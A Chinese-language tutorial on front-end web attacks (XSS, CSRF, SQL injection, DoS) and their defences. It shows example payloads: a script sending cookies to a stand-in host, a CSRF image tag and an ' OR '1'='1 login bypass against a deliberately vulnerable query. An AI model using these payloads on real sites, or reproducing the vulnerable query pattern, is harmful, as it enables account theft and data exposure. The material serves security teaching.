前端攻击技术
跨站脚本攻击(XSS)
概念
跨站脚本攻击(Cross-Site Scripting, XSS),是将代码注入到用户浏览的网页上,注入的内容可以是HTML或者JavaScript。利用了用户对网站的信任。
原理
-
假设现在有一评论区域,用户可以在上面发布内容(即UGC),评论的内容会被渲染在一个
<p>
标签内,若攻击者输入如下内容:1
<script>location.href="//domain.com/?c="+document.cookie</script>
-
那么在其他用户的页面上则会渲染成:
1
2
3<p>
<script>location.href="//domain.com/?c="+document.cookie</script>
</p> -
页面在渲染时加载了其中的js代码,被迫访问
domain.com
并携带上了当前作用域的Cookie信息,那么domain.com
这个站点就可以得到用户的Cookie数据,从而造成Cookie的泄露。如果该站点可以通过Cookie管理登录状态,那么攻击者就可以通过这个Cookie使用被攻击者的账号进行操作。
预防手段
-
设置Cookie为HttpOnly
当Cookie被设置为
HttpOnly
时,这个Cookie将不能被客户端的JavaScript访问,那么攻击者将无法使用JS获取到用户的Cookie数据,从而保护Cookie信息。 -
过滤特殊字符
将特殊字符比如
<
转义为<
,将>
转义为>
等,从而避免攻击者输入HTML和JavaScript代码的执行 -
定义标签白名单和黑名单
如果用户可以使用富文本编辑器发布代码内容,就不能简单将
<
转义为<
之类,这时可以将具有攻击价值的标签转义,比如表单<form>
、脚本<script>
之类,而无需转义如<p>
、<span>
之类的标签。
跨站请求伪造(CSRF)
概念
跨站请求伪造(Cross-site request forgery,CSRF)通过挟制用户在曾经认证过的Web应用程序上(比如邮箱网页端)执行非本意的操作(比如发邮件)从而完成攻击,利用了网站对用户浏览器的信任(因为浏览器保留了用户的登录信息),使其认为是用户本人在进行操作。
原理
-
假设某家邮箱使用URL参数的方式进行邮件发送,格式如下:
1
http://example-email.com/send?to=[收信邮箱]&content=[发送内容]
-
攻击者可以将这种地址藏在论坛,博客等任何有用户生成内容的网站中。这意味着如果服务器端没有合适的防御措施,用户即使访问熟悉的可信网站也有受攻击的危险。比如,如果攻击者在一个网站上留下这样的内容:
1
<img src="http://example-email.com/send?to=example@email.com&content=帮我转账1000元给账户1234568">
-
而用户恰好使用该邮箱平台且处于登录状态,那么就会以用户的名义给
example@email.com
发送一封内容为帮我转账1000元给账户1234568
的邮件。
预防手段
-
添加校验Token
在使用敏感接口时,使用无法伪造的数据进行验证,例如服务器在表单中附加一个生成随机数,在提交时需要回传这个随机数。
-
检查 Referer 首部字段
-
Referer 首部字段位于 HTTP 报文中,用于标识请求来源的地址。检查这个首部字段并要求请求来源在同一个域名下,可以有效防范 CSRF 攻击。
-
这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的 Referer 字段。虽然 HTTP 协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其 Referer 字段的可能。
-
-
输入验证码
因为 CSRF 攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作,从而避免非用户本人进行的操作。
SQL注入
概念
攻击者通过写下非法的SQL语句,传送到服务器使服务端进行了非法的SQL查询。
原理
-
假设某个站点的后端使用如下操作逻辑完成登录:
1
sqlStr = "SELECT * FROM users WHERE (username='" + userName + "') AND (password='" + password +"')";
-
如果攻击者分别填入如下内容:
1
2username:"1' OR '1'='1"
password:"1' OR '1'='1" -
那么在服务端的SQL查询字符串为:
1
sqlStr = "SELECT * FROM users WHERE (username = '1' OR '1'='1') AND (password = '1' OR '1'='1')";
这条语句等价于:
SELECT * FROM users;
,从而查询出所有用户的信息数据。
预防手段
-
使用参数化查询
比如Java中的 PreparedStatement 是预先编译的 SQL 语句,可以传入适当参数并且多次执行。由于没有拼接的过程,因此可以防止 SQL 注入的发生。
1
2
3
4PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?");
stmt.setString(1, userid);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery(); -
单引号转换
将传入的参数中的单引号转换为连续两个单引号,使UGC内容区域的单引号自闭和。
拒绝服务攻击DoS
-
拒绝服务攻击(denial-of-service attack,DoS),亦称洪水攻击,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正常用户无法访问。
-
分布式拒绝服务攻击(distributed denial-of-service attack,DDoS),指攻击者使用两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。